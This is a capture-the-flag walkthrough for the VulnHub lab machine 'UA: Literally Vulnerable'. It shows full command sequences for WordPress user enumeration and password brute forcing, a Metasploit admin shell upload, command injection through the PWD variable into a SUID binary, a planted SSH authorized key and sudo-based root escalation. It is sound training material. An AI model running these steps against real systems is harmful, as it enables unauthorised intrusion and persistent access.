UA: Literally Vulnerable [VulnHub] — Walkthrough

Hey there! Let’s look at how I rooted UA: Literally Vulnerable by Syed Umar. You may download it here: https://www.vulnhub.com/entry/ua-literally-vulnerable,407.

This is a very fun beginner-friendly machine 😃

Let’s begin with enumerating the IP address and open ports in the machine:

root@kali:~# netdiscover
root@kali:~# nmap -p- -A 192.168.0.3

Results of nmap and netdiscover scans

Now we got the following important details:

• IP of the remote machine: 192.168.0.3
• Ports open on the remote machine: 21(FTP), 22(SSH), 80(HTTP) & 65535(HTTP)

Let’s start enumerating the FTP service first:

FTP (21):

root@kali:~# ftp 192.168.0.3

Enumerating the FTP

Wow! We already got some passwords. Looks like this is going to be too easy 😄.

Let’s jump to HTTP 🏃

HTTP (80):

http://192.168.0.3

HTTP landing page on Port 80

As can be seen above, the HTTP landing page didn’t seem to load fully. And I checked the developer console (F12) and saw that the site was making requests to a domain called literally.vurnerable. So on our attacker machine, we need to map that domain to the remote machine’s IP. To do that, add a line to the end of the /etc/hosts file on the attacker machine. Like this:

root@kali:~# echo "192.168.0.3 literally.vulnerable" >> /etc/hosts

Mapping literally.vulnerable to 192.168.0.3 in /etc/hosts

Now the page should load properly:

HTTP landing page on port 80 now loads properly

I did some basic enumeration on this. But nothing seemed to work. Also, see that it says that it is “Not so Vulnerable”. So I moved on to the other HTTP service running 65535.

HTTP (65535):

http://192.168.0.3:65535

HTTP landing page on port 65535

Since this is just a default page, I used gobuster to check if I got a hit on any other files/directories:

root@kali:~# gobuster dir -u http://192.168.0.3:65535/ -w /usr/share/wordlists/dirb/big.txt

gobuster scan result on HTTP service running at 65535

We got a hit on a directory called /phpcms. On opening it in a browser we get another Wordpress site:

Wordpress site on HTTP server on port 65535

But this one says that it is “Literally Vulnerable”. So I thought that this was the one 😛. So I started enumerating this one:

root@kali:~# wpscan --url http://192.168.0.3:65535/phpcms --enumerate

Users enumerated using the wpscan tool

Nice! We got two users. Let’s brute force these usernames with the passwords that we obtained from the FTP service.

First, prepare the usernames and passwords list:

root@kali:~# echo maybeadmin >> users.txt
root@kali:~# echo notadmin >> users.txt

Preparing users.txt and backupPasswords

Now let’s brute force:

root@kali:~# wpscan --url http://192.168.0.3:65535/phpcms -U users.txt -P backupPasswords

Brute force result from the wpscan tool

Yayy! We found a valid credential.

I then logged in to the admin console and found another credential in the Secure Post:

http://192.168.0.3:65535/phpcms/wp-admin

The password of the notadmin user stored inside a Secure Post

I checked the Role of this user and he was an administrator. So now we can use the Metasploit console to get a reverse shell:

root@kali:~# msfdb start
root@kali:~# msfconsole -q
msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 > set rhosts 192.168.0.3
msf5 > set rport 65535
msf5 > set targeturi /phpcms
msf5 > set username notadmin
msf5 > set password Pa$$w0rd13!&
msf5 > exploit
python3 -c 'import pty; pty.spawn("/bin/bash");'

Getting a reverse shell using the Wordpress Admin access

Cool! Now we have a reverse shell from the remote machine! After some more enumeration, I found a file with the SUID bit enabled for a user called john:

www-data@literallyvulnerable:/$ cd /home/doe
www-data@literallyvulnerable:/home/doe$ ls -l itseasy
www-data@literallyvulnerable:/home/doe$ ./itseasy

A file named itseasy found with the SUID bit enabled for john user

After some trials and errors, I saw that this binary is simply echoing the value of the environment variable named PWD. So I tried to manipulate that variable to get it to execute /bin/bash:

www-data@literallyvulnerable:/home/doe$ export PWD=\$\(/bin/bash\)
www-data@literallyvulnerable:$(/bin/bash)$ ./itseasy

Abusing the PWD variable for exploiting the itseasy binary

Super! We are john now! 😃

Since we now have access to the john user, I thought of getting SSH access to this user by setting up passwordless login via $HOME/.ssh/authorized_keys entry. This is a 2 step process.

First, on the attacker machine, do this:

root@kali:~# ssh-keygen
root@kali:~# cat /root/.ssh/id_rsa.pub

Generate an SSH private and public key pair on the attacker machine

Second, on the remote machine, do this:

john@literallyvulnerable:/home/doe$ mkdir -p /home/john/.ssh
john@literallyvulnerable:/home/doe$ echo "<public_key>" > /home/john/.ssh/authorized_keys

Add the SSH public key of the attacker machine to the authorized_keys of the remote machine

Through the above 2 steps, we made the remote machine believe that the attacker machine is a trusted (authorized) machine to connect to it as the john user without needing a password.

Let’s check if it works 😉. Open a new terminal tab and connect to the remote machine as john:

root@kali:~# ssh john@192.168.0.3

SSH login into the remote machine without needing a password

It worked! But I got stuck here 😕. I did a lot of enumeration. But didn’t get any way to perform privilege escalation. Then I buzzed the creator of the machine. He said to me to try “sudo -l”. But we need the sudo password for doing that. So I started to think: Where is the sudo password hidden?

And I got it after doing a file search for file names matching “password”. And I got it. I totally forgot that this was a “literally vulnerable” machine 😛

john@literallyvulnerable:~$ find . -type f -iname "*password*" 2>/dev/null
john@literallyvulnerable:~$ cat ./.local/share/tmpFiles/myPassword
john@literallyvulnerable:~$ echo "am9objpZWlckczhZNDlJQiNaWko=" | base64 -d

Finding the file that contains the password of john

LOL. The message in the file: “encoding it with b64 since I don’t want my colleagues to hack me!” 😂

Now we can see what privileges john has:

john@literallyvulnerable:~$ sudo -l

Listing john’s privileges

So john can run the file “/var/www/html/test.html” as root.

But we need to be aware that john does not have the permission to write into the “/var/www/html” directory. Only the www-data user can do that. No worries. We have access to the www-data user in the Metasploit console. So we go back there and make a file with the exact file name required and give full permissions on the file (note that I’m executing an “exit” first because we need to come out of the john user first in msfconsole):

john@literallyvulnerable:/home/doe$ exit
www-data@literallyvulnerable:$(/bin/bash)$ echo "/bin/bash" > /var/www/html/test.html
www-data@literallyvulnerable:$(/bin/bash)$ chmod 777 /var/www/html/test.html

Creating an executable as the www-data user, so that john can use it

Now we can go back to the SSH prompt and try privilege escalation

john@literallyvulnerable:~$ cd /var/www/html/
john@literallyvulnerable:/var/www/html$ sudo ./test.html

Executing the file created by www-data as john with SUDO as root

And we’re done 💃

All the flags:

root@literallyvulnerable:~# cat /home/doe/local.txt
root@literallyvulnerable:~# cat /home/john/user.txt
root@literallyvulnerable:~# cat /root/root.txt

Flags 🏁

The End 😃!

This was a very fun machine which I have done after many days. Kudos to the creator. Waiting for the next machine in the series 😇.

Please mention your doubts, comments, and suggestions below or DM me on Twitter!

See you in the next write-up next week 😄

Zdravo! 😃👋